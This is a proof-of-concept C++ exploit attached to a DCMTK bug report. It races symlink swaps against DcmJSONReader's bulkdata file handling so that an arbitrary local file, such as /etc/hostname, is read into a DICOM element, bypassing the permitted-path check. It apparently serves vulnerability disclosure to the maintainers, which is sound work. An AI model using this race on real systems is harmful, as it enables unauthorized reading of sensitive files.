Project

General

Profile

Bug #1198 » IC-DCMTK-0024_toctou_poc.cc

Jörg Riesmeier, 2026-03-25 10:14

 
/*
* IC-DCMTK-0024 TOCTOU PoC — Using DcmJSONReader API directly
*
* Calls DcmJSONReader::readAndConvertJSONFile() in-process while
* racing threads swap the bulkdata file with a symlink.
*
* Build:
* g++ -O2 -pthread -o toctou_api_poc toctou_api_poc.cc \
* -I<dcmtk>/build/config/include -I<dcmtk>/dcmdata/include \
* -I<dcmtk>/ofstd/include -I<dcmtk>/oflog/include \
* -Wl,--start-group <dcmtk>/build/lib/lib{dcmdata,ofstd,oflog,oficonv}.a \
* -Wl,--end-group -lpthread -lz
*/
#define _GNU_SOURCE
#include "dcmtk/dcmdata/dctk.h"
#include "dcmtk/dcmdata/dcjsonrd.h"
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>

struct RaceArgs {
const char *filepath;
const char *target;
volatile int *stop;
};

static void write_legit(const char *path) {
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd >= 0) { write(fd, "OK\n", 3); close(fd); }
}

static void *racer_thread(void *arg) {
RaceArgs *ra = (RaceArgs *)arg;
while (!*ra->stop) {
unlink(ra->filepath);
symlink(ra->target, ra->filepath);
unlink(ra->filepath);
write_legit(ra->filepath);
}
return NULL;
}

int main(int argc, char *argv[]) {
if (argc < 3) {
fprintf(stderr, "Usage: %s <target_file> [attempts]\n"
" e.g.: %s /etc/hostname 3000\n", argv[0], argv[0]);
return 1;
}
const char *target = argv[1];
int attempts = argc > 2 ? atoi(argv[2]) : 3000;

// Read target content
FILE *tf = fopen(target, "r");
if (!tf) { perror("target"); return 1; }
char target_content[4096] = {};
fgets(target_content, sizeof(target_content), tf);
fclose(tf);
char *nl = strchr(target_content, '\n');
if (nl) *nl = 0;
printf("Target: %s -> '%s'\n", target, target_content);

// Setup working directory
char workdir[] = "/tmp/toctou_XXXXXX";
mkdtemp(workdir);
char bulkdir[512], datapath[512], jsonpath[512];
snprintf(bulkdir, sizeof(bulkdir), "%s/b", workdir);
mkdir(bulkdir, 0755);
snprintf(datapath, sizeof(datapath), "%s/b/d.bin", workdir);
snprintf(jsonpath, sizeof(jsonpath), "%s/in.json", workdir);

// Write JSON input
FILE *jf = fopen(jsonpath, "w");
fprintf(jf,
"{\"00080016\":{\"vr\":\"UI\",\"Value\":[\"1.2.840.10008.5.1.4.1.1.7\"]},"
"\"00080018\":{\"vr\":\"UI\",\"Value\":[\"1.2.3.4.5.6.7.8.9\"]},"
"\"00420011\":{\"vr\":\"OB\",\"BulkDataURI\":\"file://%s\"}}\n", datapath);
fclose(jf);

int wins = 0;
volatile int stop_flag = 0;
pthread_t racers[4];
RaceArgs ra = { datapath, target, &stop_flag };

for (int i = 0; i < attempts; i++) {
write_legit(datapath);

// Start racers
stop_flag = 0;
for (int t = 0; t < 4; t++)
pthread_create(&racers[t], NULL, racer_thread, &ra);

// Call the API directly — no fork, tightest possible race
DcmFileFormat fileformat;
DcmJSONReader reader;
reader.addPermittedBulkdataPath(OFString(bulkdir));
reader.readAndConvertJSONFile(fileformat, jsonpath);

// Stop racers
stop_flag = 1;
for (int t = 0; t < 4; t++)
pthread_join(racers[t], NULL);

// Check if the DICOM dataset contains target content
DcmDataset *ds = fileformat.getDataset();
if (ds) {
DcmElement *elem = NULL;
if (ds->findAndGetElement(DcmTagKey(0x0042, 0x0011), elem).good() && elem) {
Uint8 *buf = NULL;
unsigned long len = 0;
if (elem->getUint8Array(buf).good() && buf) {
len = elem->getLength();
if (len > 0 && memmem(buf, len, target_content, strlen(target_content))) {
wins++;
printf("RACE WON on attempt %d! '%s' found in element (0042,0011)\n",
i + 1, target_content);
if (wins >= 3) break;
}
}
}
}

if ((i + 1) % 500 == 0)
printf(" %d/%d, %d wins...\n", i + 1, attempts, wins);
}

printf("\nResult: %d wins / %d attempts\n", wins, wins > 0 ? wins : attempts);

unlink(jsonpath); unlink(datapath); rmdir(bulkdir); rmdir(workdir);
return wins > 0 ? 0 : 1;
}
(3-3/3)